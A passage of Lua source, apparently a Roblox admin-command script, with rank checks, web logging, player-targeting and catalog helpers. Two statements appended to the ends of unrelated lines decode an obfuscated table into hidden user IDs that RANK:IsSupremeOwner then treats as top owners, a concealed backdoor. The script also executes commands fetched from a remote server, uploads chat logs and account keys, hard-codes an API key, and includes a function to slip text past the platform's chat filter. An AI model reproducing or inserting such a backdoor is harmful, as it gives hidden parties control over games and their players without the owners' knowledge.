  1586. local AdminTrue, Rank = IsAdmin(Player)
  1587. for _,Player in pairs(Players:GetPlayers()) do
  1588. if AdminTrue then
  1589. local PlayerRankNum = RANK:ConvertRank(Rank)
  1590. local StandardRankNum = RANK:ConvertRank(Ranking)
  1591. if PlayerRankNum >= StandardRankNum then
  1592. table.insert(Players, Player)
  1593. end
  1594. end
  1595. end
  1596. return Players
  1597. end
  1598.  
  1599. function RANK:IsSupremeOwner(PlayerName)
  1600. if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.userId == Obj then return true end end PlayerName = PlayerName.Name end
  1601. if type(PlayerName) == "table" then
  1602. if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
  1603. end
  1604.  
  1605. if PlayerName == GameOwner then return true end
  1606. return false
  1607. end
  1608.  
  1609. function RANK:GetPlayerFromList(PlayerName)
  1610. if type(PlayerName) == "userdata" then PlayerName = Player.Name end
  1611.  
  1612. for Rank,PlayerNames in pairs(Settings.Ranks) do
  1613. for Num,AdminName in pairs(PlayerNames) do
  1614. if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
  1615. return AdminName, Rank
  1616. end
  1617. end
  1618. end
  1619. return false, "Non-Admin"
  1620. end
  1621.  
  1622. function RANK:ScanAdminList(Name)
  1623. if Name == "" then return true end
  1624. local InList = false
  1625. for _,PName in pairs(Settings.Ranks["Owner"]) do
  1626. if PName == Name then InList = true end
  1627. end
  1628. for _,PName in pairs(Settings.Ranks["Admin"]) do
  1629. if PName == Name then InList = true end
  1630. end
  1631. for _,PName in pairs(Settings.Ranks["Member"]) do
  1632. if PName == Name then InList = true end
  1633. end
  1634. return InList
  1635. end
  1636.  
  1637. function RANK:ScanExileList(Name)
  1638. if Name == "" then return true end
  1639. local InList = false
  1640. for _,PName in pairs(Settings.Ranks["Muted"]) do
  1641. if PName == Name then InList = true end
  1642. end
  1643. for _,PName in pairs(Settings.Ranks["Crashed"]) do
  1644. if PName == Name then InList = true end
  1645. end
  1646. for _,PName in pairs(Settings.Ranks["Banned"]) do
  1647. if PName == Name then InList = true end
  1648. end
  1649. return InList
  1650. end
  1651.  
  1652. -- Remote functions --
  1653.  
  1654. function REMOTE:Decode(...)
  1655. return Server.HS:JSONDecode(...)
  1656. end
  1657.  
  1658. function REMOTE:GetURL(URL, Player)
  1659. if string.sub(URL,1,4) ~= "http" then
  1660. URL = "http://"..URL
  1661. end
  1662. local Return = nil
  1663. ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
  1664. if Return then
  1665. return Return
  1666. elseif Player then
  1667. GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
  1668. end
  1669. end
  1670.  
  1671. function REMOTE:PostURL(URL, Data)
  1672. local Return = nil
  1673. ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
  1674. return Return
  1675. end
  1676.  
  1677. function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  1678. local NumType = tonumber(Type)
  1679.  
  1680. if not Type then
  1681. Type = "UNKNOWN"
  1682. end
  1683.  
  1684. if NumType then
  1685. if NumType < 1 or NumType > 5 then
  1686. Type = "UNKNOWN"
  1687. elseif NumType == 1 then
  1688. Type = "NOTIFICATION"
  1689. elseif NumType == 2 then
  1690. Type = "INFORMATION"
  1691. elseif NumType == 3 then
  1692. Type = "WARNING"
  1693. elseif NumType == 4 or Type == true then
  1694. Type = "ERROR"
  1695. elseif NumType == 5 then
  1696. Type = "FATAL"
  1697. end
  1698. end
  1699.  
  1700. local Res = "RED Could not get response"
  1701. local function SendData()
  1702. Res = Server.HS:PostAsync(
  1703. CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
  1704. "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
  1705. 2
  1706. )
  1707. end
  1708. if Stopypcall == true then SendData() else ypcall(SendData) end
  1709.  
  1710. if OutputSpeaker and OutputSpeaker ~= "print" then
  1711. GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
  1712. elseif OutputSpeaker == "print" then
  1713. print(Res)
  1714. end
  1715. end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
  1716.  
  1717. function REMOTE:SendChatLog(PrintResponse, Stopypall)
  1718. if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
  1719. local Res = "Could not get response"
  1720.  
  1721. local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
  1722. TempChatLogs = {}
  1723.  
  1724. local function SendData()
  1725. Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
  1726. end
  1727. if Stopypcall == true then SendData() else ypcall(SendData) end
  1728. if PrintResponse then print(Res) end
  1729. end
  1730. end
  1731.  
  1732. function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
  1733. local Res = "[]"
  1734. local function GetData()
  1735. Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
  1736. end
  1737. if Stopypcall == true then GetData() else ypcall(GetData) end
  1738. if PrintResponse then
  1739. print(Res)
  1740. end
  1741. local function DecodeData() Res = REMOTE:Decode(Res) end
  1742. if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
  1743. if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
  1744. return Res
  1745. end
  1746.  
  1747. function REMOTE:HandleRequest(Request, IgnoreCommand)
  1748. if not Request then return nil end
  1749.  
  1750. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
  1751. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
  1752. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
  1753. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
  1754. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
  1755. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
  1756.  
  1757. Settings.Fun = Request.FUN
  1758. Settings.ServerLocked = Request.ServerLocked
  1759. Settings.DisableAbuse = Request.DisableAbuse
  1760. REMOTE.Command = Request.Command
  1761. REMOTE.ServerCommand = Request.ServerCommand
  1762. REMOTE.ServerPort = Request.Server
  1763.  
  1764. if not IgnoreCommand and REMOTE.TimeStamp ~= Request.TimeStamp then
  1765. if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil then
  1766. CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  1767. else
  1768. CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
  1769. end
  1770. end
  1771. REMOTE.TimeStamp = Request.TimeStamp
  1772. end
  1773.  
  1774. function REMOTE:GetAndSetWebData()coroutine.wrap(function()
  1775. local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
  1776. if Request == "Invalid" then
  1777. REMOTE:GetAndSetWebData()
  1778. return nil
  1779. elseif Request == "Invalid Account" then
  1780. print("Can't get account")
  1781. return nil
  1782. elseif Request then
  1783. ypcall(function() Request = REMOTE:Decode(Request) end)
  1784. elseif not Request then
  1785. REMOTE:GetAndSetWebData()
  1786. return nil
  1787. end
  1788. REMOTE:HandleRequest(Request)
  1789. wait(5)
  1790.  
  1791. REMOTE:GetAndSetWebData()
  1792. end)() end
  1793.  
  1794. local OderIDs = CORE:GetTable(177215518)
  1795. local SoundJSONs = CORE:GetTable(197637628)
  1796. RemoteAbuseGear = CORE:GetTable(158117496)
  1797.  
  1798. function REMOTE:DefineWord(Word, Source)
  1799. if not Word then return end
  1800. if not Source then Source = "all" end
  1801.  
  1802. local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  1803. if Response then
  1804. local Decode = REMOTE:Decode(Response)
  1805. if #Decode > 0 then
  1806. return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  1807.  
  1808. ]]..Decode[1]["text"]
  1809. else
  1810. return "Invalid English word"
  1811. end
  1812. else
  1813. return "Cannot connect to database"
  1814. end
  1815. end
  1816.  
  1817. -- String functions --
  1818.  
  1819. function STRING:GetSplit(String, NumArgs, BetSplit)
  1820. if not String then return nil end
  1821. if BetSplit == nil then BetSplit = " " end
  1822. if NumArgs == nil then NumArgs = math.huge end
  1823.  
  1824. if NumArgs <= 0 then return {String} end
  1825.  
  1826. local RecentParse = 1
  1827. local Args = {}
  1828. for i = 1,NumArgs do
  1829. local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  1830. if Find1 and Find2 then
  1831. table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  1832. RecentParse = Find2 + 1
  1833. else
  1834. break
  1835. end
  1836. end
  1837. table.insert(Args,string.sub(String,RecentParse,#String))
  1838. return Args
  1839. end
  1840.  
  1841. function STRING:Defilter(String)
  1842. local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  1843. if RobloxApprove.Text == "Label" and String ~= "Label" then
  1844. local NewString = ""
  1845. for i = 1,#String,3 do
  1846. NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  1847. end
  1848. return NewString
  1849. else
  1850. return String
  1851. end
  1852. end
  1853.  
  1854. function STRING:FormatReplace(Player, Text)
  1855. Text = string.gsub(Text,"_SERVERTIME", math.floor(Workspace.DistributedGameTime))
  1856. Text = string.gsub(Text,"_PLACEID", game.PlaceId)
  1857. Text = string.gsub(Text,"_CREATORID", game.CreatorId)
  1858. Text = string.gsub(Text,"_CREATOR", GameOwner)
  1859. Text = string.gsub(Text,"_PLACENAME", PlaceName)
  1860. Text = string.gsub(Text,"_REVPLACENAME", string.reverse(PlaceName))
  1861. Text = string.gsub(Text,"_PLACEDESC", PlaceInfo.Description)
  1862. Text = string.gsub(Text,"_RANDOM", math.random(1,10000))
  1863. Text = string.gsub(Text,"_DATE", Date or "Cannot get date. Http not connected")
  1864. Text = string.gsub(Text,"_TIME", CORE:GetTime(true))
  1865. if Player then
  1866. Text = string.gsub(Text,"_USERID", tostring(Player.userId))
  1867. Text = string.gsub(Text,"_NAMELEN",tostring(string.len(Player.Name)))
  1868. Text = string.gsub(Text,"_REVNAME",string.reverse(Player.Name))
  1869. Text = string.gsub(Text,"_UPNAME",string.upper(Player.Name))
  1870. Text = string.gsub(Text,"_LOWNAME",string.lower(Player.Name))
  1871. Text = string.gsub(Text,"_NAME", Player.Name)
  1872. Text = string.gsub(Text,"_ACCOUNTAGE", STRING:FindAge(Player.AccountAge))
  1873.  
  1874. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  1875. Text = string.gsub(Text,"_WALKSPEED", tostring(Player.Character.Humanoid.WalkSpeed))
  1876. Text = string.gsub(Text,"_HEALTH", tostring(Player.Character.Humanoid.Health))
  1877. Text = string.gsub(Text,"_MAXHEALTH", tostring(Player.Character.Humanoid.MaxHealth))
  1878. end
  1879.  
  1880. local PlayerRank,RankNum = RANK:GetRank(Player)
  1881. Text = string.gsub(Text,"_RANKNUM", tostring(RankNum))
  1882. Text = string.gsub(Text,"_RANK", PlayerRank)
  1883. end
  1884.  
  1885. return STRING:Defilter(Text)
  1886. end
  1887.  
  1888. function STRING:EncodeSpecialChars(Input)
  1889. return tostring(string.gsub(Input, "&", "amp;"))
  1890. end
  1891.  
  1892. function STRING:StringToBool(String)
  1893. if String == "true" then
  1894. return true
  1895. else
  1896. return false
  1897. end
  1898. end
  1899.  
  1900. function STRING:BoolString(Value)
  1901. if type(Value) == "boolean" then
  1902. if Value == true then
  1903. return "YES"
  1904. elseif Value == false then
  1905. return "NO"
  1906. else
  1907. return "NIL"
  1908. end
  1909. else
  1910. return nil
  1911. end
  1912. end
  1913.  
  1914. function STRING:MakeAvoidance(Length)
  1915. if not Length then
  1916. Length = 32
  1917. end
  1918. local Avoidance = ""
  1919. for i = 1,Length do
  1920. Num = math.random(1,2)
  1921. if Num == 1 then
  1922. Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  1923. else
  1924. Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  1925. end
  1926. end
  1927. return Avoidance
  1928. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  1929.  
  1930. function STRING:FindAge(Days) -- By LuaModelmaker
  1931. local Years = math.floor(Days/365)
  1932. local OtherDays = math.fmod(Days, 365)
  1933. if Years > 1 then
  1934. return Years.." years and "..OtherDays.." days"
  1935. elseif Years == 1 then
  1936. return Years.." year and "..OtherDays.." days"
  1937. elseif Years == 0 then
  1938. return "(No years) "..OtherDays.." days"
  1939. end
  1940. end
  1941.  
  1942. function STRING:UnpackArgs(...)
  1943. local Pack = {...}
  1944. if type(Pack[1]) == "table" then Pack = Pack[1] end
  1945. local ReturnString = table.concat(Pack, ", ")
  1946. return ReturnString
  1947. end
  1948.  
  1949. function STRING:GetComma(Num)
  1950. local Formatted = Num
  1951. while true do
  1952. Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  1953. if _ == 0 then
  1954. break
  1955. end
  1956. end
  1957. return Formatted
  1958. end
  1959.  
  1960. function STRING:DecodeUTF8(Value)
  1961. local function DecodeString(Input)
  1962. if type(Input) == "string" then
  1963. for Find,Rep in pairs(HTMLDecode) do
  1964. Input = string.gsub(Input, "&#"..Find..";", Rep)
  1965. end
  1966. Input = string.gsub(Input, "&quot;", "'")
  1967. end
  1968. return Input
  1969. end
  1970. if type(Value) == "table" then
  1971. for Index,Var in pairs(Value) do
  1972. Value[Index] = DecodeString(Var)
  1973. end
  1974. elseif type(Value) == "string" then
  1975. Value = DecodeString(Value)
  1976. end
  1977. return Value
  1978. end
  1979.  
  1980. function STRING:IsSpacer(Input)
  1981. if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
  1982. return true
  1983. else
  1984. return false
  1985. end
  1986. end
  1987.  
  1988. function STRING:IsVowel(Input)
  1989. Input = string.lower(tostring(Input))
  1990. if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  1991. return true
  1992. else
  1993. return false
  1994. end
  1995. end
  1996.  
  1997. function STRING:ValidE(Input)
  1998. if not Input then return nil end
  1999. if string.lower(Input) == "e" or Input == "~" then
  2000. return true
  2001. else
  2002. return false
  2003. end
  2004. end
  2005.  
  2006. function STRING:Scan(String, Speaker)
  2007. local ReturnPlayers,ExcludeList = {},{}
  2008. if not String then String = "" end
  2009. if not Speaker then print("NO SPEAKER") end
  2010.  
  2011. if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2012. String = string.sub(String, 13)
  2013. else
  2014. String = string.lower(String)
  2015. end
  2016. local Words = STRING:GetSplit(String, nil, "/")
  2017. for _,Word in pairs(Words) do
  2018. if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2019. table.insert(ReturnPlayers, Speaker)
  2020. elseif Word == "all" or Word == "everyone" then
  2021. for _,Player in pairs(Server.Players:GetPlayers()) do
  2022. table.insert(ReturnPlayers, Player)
  2023. end
  2024. elseif Word == "others" or Word == "notme" then
  2025. for _,Player in pairs(Server.Players:GetPlayers()) do
  2026. if Player ~= Speaker then
  2027. table.insert(ReturnPlayers, Player)
  2028. end
  2029. end
  2030. elseif Word == "noobs" then
  2031. for _,Player in pairs(Server.Players:GetPlayers()) do
  2032. if Player.AccountAge < 365 then
  2033. table.insert(ReturnPlayers, Player)
  2034. end
  2035. end
  2036. elseif Word == "nonnoobs" then
  2037. for _,Player in pairs(Server.Players:GetPlayers()) do
  2038. if Player.AccountAge >= 365 then
  2039. table.insert(ReturnPlayers, Player)
  2040. end
  2041. end
  2042. elseif Word == "random" then
  2043. local RandomPlayers = {}
  2044. for _,Player in pairs(Server.Players:GetPlayers()) do
  2045. if Player ~= Speaker then
  2046. table.insert(RandomPlayers, Player)
  2047. end
  2048. end
  2049. table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  2050. elseif Word == "guests" then
  2051. for _,Player in pairs(Server.Players:GetPlayers()) do
  2052. if string.sub(Player.Name,1,6) == "Guest " then
  2053. table.insert(ReturnPlayers, Player)
  2054. end
  2055. end
  2056. elseif Word == "lowers" then
  2057. for _,Player in pairs(Server.Players:GetPlayers()) do
  2058. if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  2059. table.insert(ReturnPlayers, Player)
  2060. end
  2061. end
  2062. elseif Word == "uppers" then
  2063. for _,Player in pairs(Server.Players:GetPlayers()) do
  2064. if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  2065. table.insert(ReturnPlayers, Player)
  2066. end
  2067. end
  2068. elseif Word == "nbcs" then
  2069. for _,Player in pairs(Server.Players:GetPlayers()) do
  2070. if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  2071. table.insert(ReturnPlayers, Player)
  2072. end
  2073. end
  2074. elseif Word == "bcs" then
  2075. for _,Player in pairs(Server.Players:GetPlayers()) do
  2076. if Player.MembershipType == Enum.MembershipType.BuildersClub then
  2077. table.insert(ReturnPlayers, Player)
  2078. end
  2079. end
  2080. elseif Word == "tbcs" then
  2081. for _,Player in pairs(Server.Players:GetPlayers()) do
  2082. if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  2083. table.insert(ReturnPlayers, Player)
  2084. end
  2085. end
  2086. elseif Word == "obcs" then
  2087. for _,Player in pairs(Server.Players:GetPlayers()) do
  2088. if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  2089. table.insert(ReturnPlayers, Player)
  2090. end
  2091. end
  2092. elseif Word == "allbcs" then
  2093. for _,Player in pairs(Server.Players:GetPlayers()) do
  2094. if Player.MembershipType ~= Enum.MembershipType.None then
  2095. table.insert(ReturnPlayers, Player)
  2096. end
  2097. end
  2098. elseif Word == "nonadmins" then
  2099. for _,Player in pairs(Server.Players:GetPlayers()) do
  2100. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2101. if IsAdminTrue == false then
  2102. table.insert(ReturnPlayers, Player)
  2103. end
  2104. end
  2105. elseif Word == "admins" then
  2106. for _,Player in pairs(Server.Players:GetPlayers()) do
  2107. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2108. if IsAdminTrue == true then
  2109. table.insert(ReturnPlayers, Player)
  2110. end
  2111. end
  2112. elseif Word == "friends" then
  2113. for _,Player in pairs(Server.Players:GetPlayers()) do
  2114. if Speaker:IsFriendsWith(Player.userId) and Player ~= Speaker then
  2115. table.insert(ReturnPlayers, Player)
  2116. end
  2117. end
  2118. elseif Word == "bestfriends" then
  2119. for _,Player in pairs(Server.Players:GetPlayers()) do
  2120. if Speaker:IsBestFriendsWith(Player.userId) and Player ~= Speaker then
  2121. table.insert(ReturnPlayers, Player)
  2122. end
  2123. end
  2124. elseif string.sub(Word,1,5) == "team-" then
  2125. for _,Player in pairs(Server.Players:GetPlayers()) do
  2126. if Player.Neutral == false then
  2127. local InTeam = false
  2128. for _,Team in pairs(Teams:GetTeams()) do
  2129. if Team.TeamColor == Player.TeamColor then
  2130. if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  2131. InTeam = true
  2132. end
  2133. end
  2134. end
  2135. if InTeam == true then
  2136. table.insert(ReturnPlayers, Player)
  2137. end
  2138. end
  2139. end
  2140. elseif string.sub(Word,1,4) == "not-" then
  2141. local NameArg = string.sub(Word,5)
  2142.  
  2143. for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  2144. table.insert(ExcludeList, Player)
  2145. end
  2146. elseif string.sub(Word,1,7) == "radius-" then
  2147. local DidExe = false
  2148. local NumArg = tonumber(string.sub(Word,8))
  2149.  
  2150. if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  2151. for _,Player in pairs(Server.Players:GetChildren()) do
  2152. if Player.Character and Player.Character:FindFirstChild("Torso") then
  2153. if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  2154. DidExe = true
  2155. table.insert(ReturnPlayers, Player)
  2156. end
  2157. end
  2158. end
  2159. end
  2160.  
  2161. if DidExe then coroutine.wrap(function()
  2162. local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  2163. local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg, NumArg, NumArg)
  2164.  
  2165. for i = 0,0.5,0.02 do
  2166. Part.Transparency = 0.5+i
  2167. wait()
  2168. end
  2169. Part:Destroy()
  2170. end)() end
  2171. else
  2172. if Word ~= "" then
  2173. for _,Player in pairs(Server.Players:GetPlayers()) do
  2174. if string.sub(string.lower(Player.Name),1,#Word) == Word then
  2175. table.insert(ReturnPlayers, Player)
  2176. end
  2177. end
  2178. else
  2179. table.insert(ReturnPlayers, Speaker)
  2180. end
  2181. end
  2182. end
  2183. for _,Player in pairs(ExcludeList) do
  2184. if Player and Player.Parent ~= nil then
  2185. for Num,Player2 in pairs(ReturnPlayers) do
  2186. if Player2 == Player then table.remove(ReturnPlayers, Num) end
  2187. end
  2188. end
  2189. end
  2190. for Num,Player in pairs(ReturnPlayers) do
  2191. if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  2192. end
  2193. return ReturnPlayers
  2194. end
  2195.  
  2196. -- Market functions --
  2197.  
  2198. function MARKET:GetImageFormat(ID)
  2199. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  2200. local NewID = ID + 1
  2201. for i = 1,100 do
  2202. NewID = NewID -1
  2203. local Product = nil
  2204. ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  2205. if Product then
  2206. if Product == 1 then
  2207. break
  2208. end
  2209. end
  2210. if i == 100 then NewID = ID end
  2211. end
  2212. return NewID
  2213. end end
  2214. end
  2215.  
  2216. function MARKET:GetItemInfo(ID, Cache)
  2217. local Product = MarketCache[ID]
  2218. if not Cache or not Product then
  2219. repeat wait()
  2220. ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  2221. until Product ~= MarketCache[ID]
  2222. end
  2223. MarketCache[ID] = Product
  2224. return Product
  2225. end
  2226.  
  2227. function MARKET:SearchItem(Category, Query, Subcategory)
  2228. local URLAdd = ""
  2229. if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  2230. local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  2231. if JSON then
  2232. local Results = REMOTE:Decode(JSON)
  2233. if Results then
  2234. for Index,Info in pairs(Results) do
  2235. Info = STRING:DecodeUTF8(Info)
  2236. Results[Index] = Info
  2237. MarketCache[Info.AssetId] = {
  2238. AssetId = Info.AssetId;
  2239. AssetTypeId = Info.AssetTypeID;
  2240. ContentRatingTypeId = Info.ContentRatingTypeID;
  2241. Created = Info.CreatedDate;
  2242. Creator = {Name = Info.Creator, Id = Info.CreatorID};
  2243. Description = Info.Description;
  2244. IsForSale = Info.IsForSale;
  2245. IsLimited = Info.IsLimited;
  2246. IsLimitedUnique = Info.IsLimitedUnique;
  2247. IsNew = Info.IsNew;
  2248. IsPublicDomain = Info.IsPublicDomain;
  2249. MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  2250. Name = Info.Name;
  2251. PriceInRobux = Info.PriceInRobux;
  2252. PriceInTickets = Info.PriceInTickets;
  2253. ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  2254. Remaining = Info.Remaining;
  2255. Sales = Info.Sales;
  2256. Updated = Info.Updated;
  2257. }
  2258. end
  2259. return Results
  2260. end
  2261. end
  2262. end
  2263.  
  2264. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  2265. if not Player or not Category or not Query then return nil end
  2266. local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  2267. local Items = MARKET:SearchItem(Category, Query, Subcategory)
  2268. if Items then
  2269. if #Items ~= 0 then
  2270. local List,Correlate = {},{}
  2271. for Num,Info in pairs(Items) do
  2272. local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  2273. table.insert(List, Display)
  2274. Correlate[Display[1]] = Info.AssetId
  2275. end
  2276. CloseGui:Invoke()
  2277.  
  2278. local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  2279. Clicked.Event:connect(function(ClickName)
  2280. ClickedItem(Correlate[ClickName])
  2281. end)
  2282. else
  2283. CloseGui:Invoke()
  2284. GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  2285. end
  2286. else
  2287. CloseGui:Invoke()
  2288. GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  2289. end
  2290. end
  2291.  
  2292. function MARKET:AssetTypeToString(AssetType)
  2293. if AssetType == 1 then return "Image"
  2294. elseif AssetType == 2 then return "T-Shirt"
  2295. elseif AssetType == 3 then return "Audio"
  2296. elseif AssetType == 4 then return "Mesh"
  2297. elseif AssetType == 5 then return "Lua"
  2298. elseif AssetType == 6 then return "HTML"
  2299. elseif AssetType == 7 then return "Text"
  2300. elseif AssetType == 8 then return "Hat"
  2301. elseif AssetType == 9 then return "Place"
  2302. elseif AssetType == 10 then return "Model"
  2303. elseif AssetType == 11 then return "Shirt"
  2304. elseif AssetType == 12 then return "Pants"
  2305. elseif AssetType == 13 then return "Decal"
  2306. elseif AssetType == 16 then return "Avatar"
  2307. elseif AssetType == 17 then return "Head"
  2308. elseif AssetType == 18 then return "Face"
  2309. elseif AssetType == 19 then return "Gear"
  2310. elseif AssetType == 21 then return "Badge"
  2311. elseif AssetType == 22 then return "Group Emblem"
  2312. elseif AssetType == 24 then return "Animation"
  2313. elseif AssetType == 25 then return "Arms"
  2314. elseif AssetType == 26 then return "Legs"
  2315. elseif AssetType == 27 then return "Torso"
  2316. elseif AssetType == 28 then return "Right Arm"
  2317. elseif AssetType == 29 then return "Left Arm"
  2318. elseif AssetType == 30 then return "Left Leg"
  2319. elseif AssetType == 31 then return "Right Leg"
  2320. elseif AssetType == 32 then return "Package"
  2321. elseif AssetType == 33 then return "YouTube Video"
  2322. elseif AssetType == 34 then return "Game Pass"
  2323. elseif AssetType == 38 then return "Plugin"
  2324. elseif AssetType == 0 then return "Product"
  2325. end
  2326. return "Content Invalid"
  2327. end
  2328.  
  2329. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  2330. if not Player then return nil end
  2331. if not Player:FindFirstChild("PlayerGui") then return nil end
  2332. if not tonumber(ProductID) then return nil end
  2333.  
  2334. local FromText = ""
  2335. if From and From.Name then FromText = " | Prompted from "..From.Name end
  2336.  
  2337. local Product = MARKET:GetItemInfo(ProductID, true)
  2338.  
  2339. local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  2340. local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  2341. local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  2342.  
  2343. local CanBuy = Product.IsForSale
  2344. local BuyText = "Buy"
  2345. local BuyColor = Color3.new(0,1,0)
  2346. if CanBuy == false then
  2347. BuyColor = Color3.new(1,0,0)
  2348. end
  2349. if Product.IsPublicDomain == true then
  2350. CanBuy = true
  2351. BuyColor = Color3.new(1,0.5,0.5)
  2352. BuyText = "FREE!"
  2353. end
  2354. if OwnsAsset then
  2355. CanBuy = false
  2356. end
  2357. if Product.AssetTypeId == 9 then
  2358. CanBuy = true
  2359. BuyText = "Teleport"
  2360. BuyColor = Color3.new(0.5,0.5,0.5)
  2361. end
